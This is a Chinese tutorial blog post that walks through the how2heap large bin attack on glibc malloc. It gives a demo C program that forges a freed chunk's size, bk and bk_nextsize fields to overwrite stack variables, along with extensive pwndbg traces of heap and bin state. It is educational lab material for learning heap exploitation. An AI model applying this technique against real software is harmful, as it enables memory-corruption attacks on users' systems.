how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
1.fastbins的large_bin攻击
根据原文描述跟 unsorted bin attack 实现的功能差不多https://blog.csdn.net/weixin_44626085/article/details/136105051,都是把一个地址的值改为一个很大的数
先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0
分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了
申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉
最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并
free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]
free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]
假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20
再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
2.large_bin_attack 演示程序
#include<stdio.h>
#include<stdlib.h>int main()
{fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");unsigned long stack_var1 = 0;unsigned long stack_var2 = 0;fprintf(stderr, "先来看一下目标:\n");fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);unsigned long *p1 = malloc(0x320);fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");malloc(0x20);unsigned long *p2 = malloc(0x400);fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");malloc(0x20);unsigned long *p3 = malloc(0x400);fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");malloc(0x20);free(p1);free(p2);fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));malloc(0x90);fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));free(p3);fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");p2[-1] = 0x3f1;p2[0] = 0;p2[2] = 0;p2[1] = (unsigned long)(&stack_var1 - 2);p2[3] = (unsigned long)(&stack_var2 - 4);malloc(0x90);fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);return 0;
}
3.调试large_bin_attack
3.1 获得可执行程序
gcc -g large_bin_attack .c -o large_bin_attack
3.2 第一次调试程序
root@pwn_test1604:/ctf/work/how2heap# gcc -g large_bin_attack .c -o large_bin_attack
root@pwn_test1604:/ctf/work/how2heap# gdb ./large_bin_attack
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./large_bin_attack ...done.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ 0x603360 <--> 0x603000 ]现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]free 掉第三个,他会被放到 unsorted bin 中: [ 0x6037a0 <--> 0x6030a0 ]假设有个漏洞,可以覆盖掉第二个 chunk 的 "size" 以及 "bk"、"bk_nextsize" 指针
减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:
stack_var1 (0x7fffffffe590): 0x6037a0
stack_var2 (0x7fffffffe598): 0x6037a0
[Inferior 1 (process 157) exited normally]
pwndbg>
3.3 第二次调试程序
3.3.1 设置断点第32行并走起
该技术可用于修改任意地址的值,例如栈上的变量stack_var1和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在fastbin attack 中用于修改全局变量global_max_fast为一个很大的值。
首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。
wndbg> b 32Breakpoint 1 at 0x400850: file large_bin_attack .c, line 32.
pwndbg> r
Starting program: /ctf/work/how2heap/large_bin_attack
根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数先来看一下目标:
stack_var1 (0x7fffffffe590): 0
stack_var2 (0x7fffffffe598): 0分配第一个 large chunk: 0x603000
再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了申请第二个 large chunk 在: 0x603360
同样在分配一个 fastbin 大小的 chunk 防止合并掉最后申请第三个 large chunk 在: 0x6037a0
申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并Breakpoint 1, main () at large_bin_attack .c:33
33 free(p1);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x603bc0 ◂— 0x0RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x603bc0 ◂— 0x0RDI 0x0RSI 0x603be0 ◂— 0x0R8 0x5fR9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887R10 0x1R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x400850 (main+426) ◂— mov rax, qword ptr [rbp - 0x20]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x400850 <main+426> mov rax, qword ptr [rbp - 0x20]0x400854 <main+430> mov rdi, rax0x400857 <main+433> call free@plt <0x400540>0x40085c <main+438> mov rax, qword ptr [rbp - 0x18]0x400860 <main+442> mov rdi, rax0x400863 <main+445> call free@plt <0x400540>0x400868 <main+450> mov rax, qword ptr [rbp - 0x18]0x40086c <main+454> mov rax, qword ptr [rax]0x40086f <main+457> mov rcx, rax0x400872 <main+460> mov rax, qword ptr [rbp - 0x18]0x400876 <main+464> lea rdx, [rax - 0x10]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c28 fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);29 30 fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");31 malloc(0x20);32 ► 33 free(p1);34 free(p2);35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400850 main+426f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:32
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Used None None
0x603330 0x0 0x30 Used None None
0x603360 0x0 0x410 Used None None
0x603770 0x0 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Used None None p1
0x603330 0x0 0x30 Used None None p1
0x603360 0x0 0x410 Used None None p2
0x603770 0x0 0x30 Used None None p2
0x6037a0 0x0 0x410 Used None None p3
0x603bb0 0x0 0x30 Used None None p3
3.3.2 设置断点第35行并走起
接下来释放p1和p2,它们被放入unsorted bin中。
pwndbg> b 35
Breakpoint 2 at 0x400868: file large_bin_attack .c, line 35.
pwndbg> c
Continuing.Breakpoint 2, main () at large_bin_attack .c:35
35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x1RBX 0x0RCX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RDX 0x0RDI 0x7ffff7dd1b20 (main_arena) ◂— 0x100000000RSI 0x0R8 0x5fR9 0x1R10 0x8b8R11 0x7ffff7a914f0 (free) ◂— push r13R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x400868 (main+450) ◂— mov rax, qword ptr [rbp - 0x18]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x400854 <main+430> mov rdi, rax0x400857 <main+433> call free@plt <0x400540>0x40085c <main+438> mov rax, qword ptr [rbp - 0x18]0x400860 <main+442> mov rdi, rax0x400863 <main+445> call free@plt <0x400540>► 0x400868 <main+450> mov rax, qword ptr [rbp - 0x18]0x40086c <main+454> mov rax, qword ptr [rax]0x40086f <main+457> mov rcx, rax0x400872 <main+460> mov rax, qword ptr [rbp - 0x18]0x400876 <main+464> lea rdx, [rax - 0x10]0x40087a <main+468> mov rax, qword ptr [rip + 0x2017df] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c30 fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");31 malloc(0x20);32 33 free(p1);34 free(p2);► 35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));39 40 free(p3);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1b78 (main_arena+88) —▸ 0x603be0 ◂— 0x0
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x603000 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 400868 main+450f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:35
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Freed 0x7ffff7dd1b78 0x603360
0x603330 0x330 0x30 Used None None
0x603360 0x0 0x410 Freed 0x603000 0x7ffff7dd1b78
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603360 —▸ 0x603000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603360 /* '`3`' */
smallbins
empty
largebins
empty
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0x330 Freed 0x7ffff7dd1b78 0x603360
0x603330 0x330 0x30 Used None None
0x603360 0x0 0x410 Freed 0x603000 0x7ffff7dd1b78
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
3.3.3 设置断点第39行并走起
接下来去申请一个0x90大小的堆块,他会把前面那个0x320大小的堆块切割,同时会给unsorted bin中的free chunk进行整理划分,把那第二块大的放到large bin,第一个剩余的放回到unsorted bin中。
pwndbg> b 39
Breakpoint 4 at 0x4008c1: file large_bin_attack .c, line 39.
pwndbg> c
Continuing.
现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ 0x6030a0 ]Breakpoint 4, main () at large_bin_attack .c:40
40 free(p3);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0xb0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x8ee5a89ce5b08ee7R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0xb0R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 ◂— 0x0RIP 0x4008c1 (main+539) ◂— mov rax, qword ptr [rbp - 0x10]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4008a8 <main+514> mov rax, qword ptr [rip + 0x2017b1] <0x602060>0x4008af <main+521> mov esi, 0x400d480x4008b4 <main+526> mov rdi, rax0x4008b7 <main+529> mov eax, 00x4008bc <main+534> call fprintf@plt <0x400570>► 0x4008c1 <main+539> mov rax, qword ptr [rbp - 0x10]0x4008c5 <main+543> mov rdi, rax0x4008c8 <main+546> call free@plt <0x400540>0x4008cd <main+551> mov rax, qword ptr [rbp - 0x10]0x4008d1 <main+555> mov rax, qword ptr [rax]0x4008d4 <main+558> mov rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c35 fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));36 37 malloc(0x90);38 fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));39 ► 40 free(p3);41 fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));42 43 fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");44 fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n"); 45
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 —▸ 0x7ffff7dd1f68 (main_arena+1096) —▸ 0x7ffff7dd1f58 (main_arena+1080) —▸ 0x7ffff7dd1f48 (main_arena+1064) ◂— ...
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4008c1 main+539f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/large_bin_attack .c:39
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0x290 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603330 0x290 0x30 Used None None
0x603360 0x0 0x410 Freed 0x7ffff7dd1f68 0x7ffff7dd1f68
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
pwndbg>
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x6030a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x6030a0 切割后剩余的
smallbins
empty
largebins
0x400: 0x603360 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x603360 /* '`3`' */ 整理进largebin中
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0x290 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 切割后剩余的
0x603330 0x290 0x30 Used None None
0x603360 0x0 0x410 Freed 0x7ffff7dd1f68 0x7ffff7dd1f68 整理进largebin中
0x603770 0x410 0x30 Used None None
0x6037a0 0x0 0x410 Used None None
0x603bb0 0x0 0x30 Used None None
3.3.4 设置断点第55行并走起
接着free掉p3,将其放入unsorted bin,我们伪造的分别是p2的size、bk以及bk_nextsize,紧接着进行malloc操作,将p3整合进large bin。
Large bin是按照fd指针的顺序从大到小排列的,所以需要进行排序,排序的操作大概是:
//victim是p3、fwd是修改后的p2
{victim->fd_nextsize = fwd;//1victim->bk_nextsize = fwd->bk_nextsize;//2fwd->bk_nextsize = victim;//3victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
pwndbg> n
stack_var1 (0x7fffffffe590): 0x6037a0
55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x26RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009cf (main+809) ◂— mov rax, qword ptr [rbp - 0x28]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────► 0x4009cf <main+809> mov rax, qword ptr [rbp - 0x28]0x4009d3 <main+813> mov rcx, rax0x4009d6 <main+816> mov rax, qword ptr [rip + 0x201683] <0x602060>0x4009dd <main+823> lea rdx, [rbp - 0x28]0x4009e1 <main+827> mov esi, 0x40102c0x4009e6 <main+832> mov rdi, rax0x4009e9 <main+835> mov eax, 00x4009ee <main+840> call fprintf@plt <0x400570>0x4009f3 <main+845> mov eax, 00x4009f8 <main+850> mov rsi, qword ptr [rbp - 8]0x4009fc <main+854> xor rsi, qword ptr fs:[0x28]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c50 p2[3] = (unsigned long)(&stack_var2 - 4);51 52 malloc(0x90);53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);► 55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);56 return 0;57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009cf main+809f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> n
stack_var2 (0x7fffffffe598): 0x6037a0
56 return 0;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x26RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009f3 (main+845) ◂— mov eax, 0
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009dd <main+823> lea rdx, [rbp - 0x28]0x4009e1 <main+827> mov esi, 0x40102c0x4009e6 <main+832> mov rdi, rax0x4009e9 <main+835> mov eax, 00x4009ee <main+840> call fprintf@plt <0x400570>► 0x4009f3 <main+845> mov eax, 00x4009f8 <main+850> mov rsi, qword ptr [rbp - 8]0x4009fc <main+854> xor rsi, qword ptr fs:[0x28]0x400a05 <main+863> je main+870 <0x400a0c>↓0x400a0c <main+870> leave 0x400a0d <main+871> ret
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
